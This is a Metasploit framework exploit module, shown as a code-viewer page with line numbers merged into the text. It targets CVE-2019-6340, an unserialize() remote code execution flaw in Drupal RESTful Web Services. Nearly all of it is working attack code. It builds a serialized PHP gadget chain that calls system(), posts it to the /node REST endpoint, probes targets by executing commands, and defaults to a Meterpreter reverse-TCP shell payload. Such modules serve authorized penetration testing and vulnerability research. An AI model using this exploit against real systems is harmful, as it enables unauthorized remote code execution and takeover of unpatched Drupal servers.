Path: blob/master/modules/exploits/unix/webapp/drupal_restws_unserialize.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67# NOTE: All (four) Web Services modules need to be enabled8Rank = NormalRanking910include Msf::Exploit::Remote::HTTP::Drupal11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Drupal RESTful Web Services unserialize() RCE',18'Description' => %q{19This module exploits a PHP unserialize() vulnerability in Drupal RESTful20Web Services by sending a crafted request to the /node REST endpoint.2122As per SA-CORE-2019-003, the initial remediation was to disable POST,23PATCH, and PUT, but Ambionics discovered that GET was also vulnerable24(albeit cached). Cached nodes can be exploited only once.2526Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of27this alternate vector.2829Drupal < 8.5.11 and < 8.6.10 are vulnerable.30},31'Author' => [32'Jasper Mattsson', # Discovery33'Charles Fol', # PoC34'Rotem Reiss', # Module35'wvu' # Module36],37'References' => [38['CVE', '2019-6340'],39['URL', 'https://www.drupal.org/sa-core-2019-003'],40['URL', 'https://www.drupal.org/psa-2019-02-22'],41['URL', 'https://www.ambionics.io/blog/drupal8-rce'],42['URL', 'https://github.com/ambionics/phpggc'],43['URL', 'https://twitter.com/jcran/status/1099206271901798400']44],45'DisclosureDate' => '2019-02-20',46'License' => MSF_LICENSE,47'Platform' => ['php', 'unix'],48'Arch' => [ARCH_PHP, ARCH_CMD],49'Privileged' => false,50'Targets' => [51[52'PHP In-Memory',53'Platform' => 'php',54'Arch' => ARCH_PHP,55'Type' => :php_memory,56'Payload' => { 'BadChars' => "'" },57'DefaultOptions' => {58'PAYLOAD' => 'php/meterpreter/reverse_tcp'59}60],61[62'Unix In-Memory',63'Platform' => 'unix',64'Arch' => ARCH_CMD,65'Type' => :unix_memory,66'DefaultOptions' => {67'PAYLOAD' => 'cmd/unix/generic',68'CMD' => 'id'69}70]71],72'DefaultTarget' => 0,73'Notes' => {74'AKA' => ['SA-CORE-2019-003'],75'Stability' => [CRASH_SAFE],76'SideEffects' => [IOC_IN_LOGS],77'Reliability' => [UNRELIABLE_SESSION] # When using the GET method78}79)80)8182register_options([83OptEnum.new('METHOD', [84true, 'HTTP method to use', 'POST',85['GET', 'POST', 'PATCH', 'PUT']86]),87OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]),88OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])89])90end9192def check93checkcode = CheckCode::Unknown9495version = drupal_version9697unless version98vprint_error('Could not determine Drupal version')99return checkcode100end101102if version.to_s !~ /^8\b/103vprint_error("Drupal #{version} is not supported")104return CheckCode::Safe105end106107vprint_status("Drupal #{version} targeted at #{full_uri}")108checkcode = CheckCode::Detected109110changelog = drupal_changelog(version)111112unless changelog113vprint_error('Could not determine Drupal patch level')114return checkcode115end116117case drupal_patch(changelog, 'SA-CORE-2019-003')118when nil119vprint_warning('CHANGELOG.txt no longer contains patch level')120when true121vprint_warning('Drupal appears patched in CHANGELOG.txt')122checkcode = CheckCode::Safe123when false124vprint_good('Drupal appears unpatched in CHANGELOG.txt')125checkcode = CheckCode::Appears126end127128# Any further with GET and we risk caching the targeted node129return checkcode if meth == 'GET'130131# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable132token = Rex::Text.rand_text_alphanumeric(8..42)133res = execute_command("echo #{token}")134135return checkcode unless res136137if res.body.include?(token)138vprint_good('Drupal is vulnerable to code execution')139checkcode = CheckCode::Vulnerable140end141142checkcode143end144145def exploit146if datastore['PAYLOAD'] == 'cmd/unix/generic'147print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')148# XXX: Naughty datastore modification149datastore['DUMP_OUTPUT'] = true150end151152case target['Type']153when :php_memory154# XXX: This will spawn a *very* obvious process155execute_command("php -r '#{payload.encoded}'")156when :unix_memory157execute_command(payload.encoded)158end159end160161def execute_command(cmd, opts = {})162vprint_status("Executing with system(): #{cmd}")163164# https://en.wikipedia.org/wiki/Hypertext_Application_Language165hal_json = JSON.pretty_generate(166'link' => [167'value' => 'link',168'options' => phpggc_payload(cmd)169],170'_links' => {171'type' => {172'href' => vhost_uri173}174}175)176177print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")178179res = send_request_cgi({180'method' => meth,181'uri' => node_uri,182'ctype' => 'application/hal+json',183'vars_get' => { '_format' => 'hal_json' },184'data' => hal_json185}, 3.5)186187return unless res188189case res.code190# 401 isn't actually a failure when using the POST method191when 200, 401192print_line(res.body) if datastore['DUMP_OUTPUT']193if meth == 'GET'194print_warning('If you did not get code execution, try a new node ID')195end196when 404197print_error("#{node_uri} not found")198when 405199print_error("#{meth} method not allowed")200when 422201print_error('VHOST may need to be set')202when 406203print_error('Web Services may not be enabled')204else205print_error("Unexpected reply: #{res.inspect}")206end207208res209end210211# phpggc Guzzle/RCE1 system id212def phpggc_payload(cmd)213(214# http://www.phpinternalsbook.com/classes_objects/serialization.html215<<~EOF216O:24:"GuzzleHttp\\Psr7\\FnStream":2:{217s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{218s:5:"close";a:2:{219i:0;O:23:"GuzzleHttp\\HandlerStack":3:{220s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";221s:cmd_len:"cmd";222s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";223a:1:{i:0;a:1:{i:0;s:6:"system";}}224s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";225b:0;226}227i:1;s:7:"resolve";228}229}230s:9:"_fn_close";a:2:{231i:0;r:4;232i:1;s:7:"resolve";233}234}235EOF236).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)237end238239def meth240datastore['METHOD'] || 'POST'241end242243def node244datastore['NODE'] || 1245end246247def node_uri248if meth == 'GET'249normalize_uri(target_uri.path, '/node', node)250else251normalize_uri(target_uri.path, '/node')252end253end254255def vhost_uri256full_uri(257normalize_uri(target_uri.path, '/rest/type/shortcut/default'),258vhost_uri: true259)260end261262end263264265